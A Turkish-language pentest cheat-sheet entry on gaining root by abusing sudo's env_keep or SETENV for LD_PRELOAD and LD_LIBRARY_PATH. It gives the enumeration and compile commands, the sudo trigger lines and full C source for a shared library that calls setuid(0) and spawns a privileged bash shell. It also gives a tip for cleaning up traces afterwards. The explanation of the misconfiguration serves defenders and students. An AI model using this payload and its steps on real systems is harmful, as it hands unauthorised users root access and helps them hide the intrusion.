LD_PRELOAD & LD_LIBRARY_PATH Abuse via sudo env_keep / SETENV
Sudoers 'env_keep' ile LD_PRELOAD/LD_LIBRARY_PATH ortam degiskenlerini koruyorsa veya bir komutta SETENV etiketi varsa; saldirgan kotu niyetli bir .so kutuphanesi derleyip sudo ile bir komut calistirirken yukleterek root yetkisiyle kod calistirir.
- Dusuk yetkili shell (user)
- sudo -l ciktisinda en az bir calistirilabilir komut
- Defaults env_keep+=LD_PRELOAD veya env_keep+=LD_LIBRARY_PATH ya da komutta SETENV: etiketi
- Hedefte gcc/derleyici veya onceden derlenmis .so transfer imkani
Komutlar
sudo -l gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c sudo LD_PRELOAD=/tmp/preload.so apache2 gcc -o /tmp/libcustom.so -shared -fPIC /tmp/library_path.c sudo LD_LIBRARY_PATH=/tmp <command> ldd /usr/sbin/apache2 Mantik
Dinamik linker (ld.so), bir program calistirilirken bazi ortam degiskenlerini dikkate alir:
LD_PRELOAD: belirtilen paylasimli kutuphaneyi, diger tum kutuphanelerden once yukler. Bu .so icindeki constructor (__attribute__((constructor))veya_init) fonksiyonu, program kodu calismadan once calisir.LD_LIBRARY_PATH: paylasimli kutuphanelerin arandigi dizin listesinin basina eklenir; boylece mesru bir.soayni isimli sahte bir surumle golgeленebilir.
Normalde sudo, guvenlik icin bu “tehlikeli” ortam degiskenlerini temizler (env_reset). Ancak sudoers yapilandirmasi Defaults env_keep += "LD_PRELOAD" veya Defaults env_keep += "LD_LIBRARY_PATH" iceriyorsa, ya da belirli bir komuta SETENV: etiketi verilmisse, bu degiskenler korunur ve root olarak calisan komuta tasinir. Iste bu yanlis yapilandirma privilege escalation saglar.
Enumeration
sudo -lciktisini dikkatlice oku. Iki sey arariz: (1) calistirma izni olan en az bir komut, (2)Defaultssatirlarindaenv_keep+=LD_PRELOADveyaenv_keep+=LD_LIBRARY_PATH, veya bir komut satirindaSETENV:.env_resetaktif ve env_keep yoksa LD_* degiskenleri sudo tarafindan silinir — bu durumda bu teknik calismaz.- LD_LIBRARY_PATH yolu icin hedef binary’nin hangi
.so’lari yuklediginilddile cikar; golgelenecek kutuphane adini bu listeden secersin.
Exploitation — LD_PRELOAD
Payload C kaynaginda constructor kullanilir. Tipik icerik:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0); setuid(0);
system("/bin/bash -p");
}
unsetenv("LD_PRELOAD"), olusan shell’in alt surecte sonsuz dongu / cakisma yapmasini onler. setuid(0)/setgid(0) gercek root’a yukselir. Derleme -fPIC -shared -nostartfiles ile yapilir (_init kullanildigi icin -nostartfiles gerekir; alternatif olarak __attribute__((constructor)) ile normal derleme de olur). Ardindan sudo LD_PRELOAD=/tmp/preload.so <izinli_komut> ile tetiklenir; komutun gercekte ne yaptigi onemsizdir, .so zaten program main’i calismadan once root shell acar.
Exploitation — LD_LIBRARY_PATH
Burada hedef binary’nin yukledigi mesru bir kutuphaneyi (orn. libcustom.so) ayni isimde sahte bir .so ile golgeleriz. Sahte kutuphane yine bir constructor ile root shell acar. ldd ciktisinda gorulen kutuphane adini birebir kullanmak gerekir; aksi halde linker mesru olani bulup sahte olani gormez. Tetikleme: sudo LD_LIBRARY_PATH=/tmp <command>.
Gotcha’lar
- gcc hedefte yoksa, .so’yu kendi Kali makinende derleyip transfer et (scp/python http server). Mimari (x86_64 vs i386) ve libc uyumuna dikkat et.
LD_PRELOADyalnizca setuid/setgid binary’lerde dogrudan calismaz (linker secure-execution modunda standart dizinlerdeki .so’lari yok sayar); bu yuzden burada sudo uzerinden ilerleriz — sudo komutu root olarak calistirir ve env_keep degiskeni tasidigi icin guvenli sayilir.- Constructor’da
unsetenv("LD_PRELOAD")koymazsan, acilan bash da ayni LD_PRELOAD’i miras alip beklenmedik davranis gosterebilir. - Isi bitince
/tmpicindeki .so dosyalarini sil (cleanup) ve gecmis/loglari goz onunde bulundur.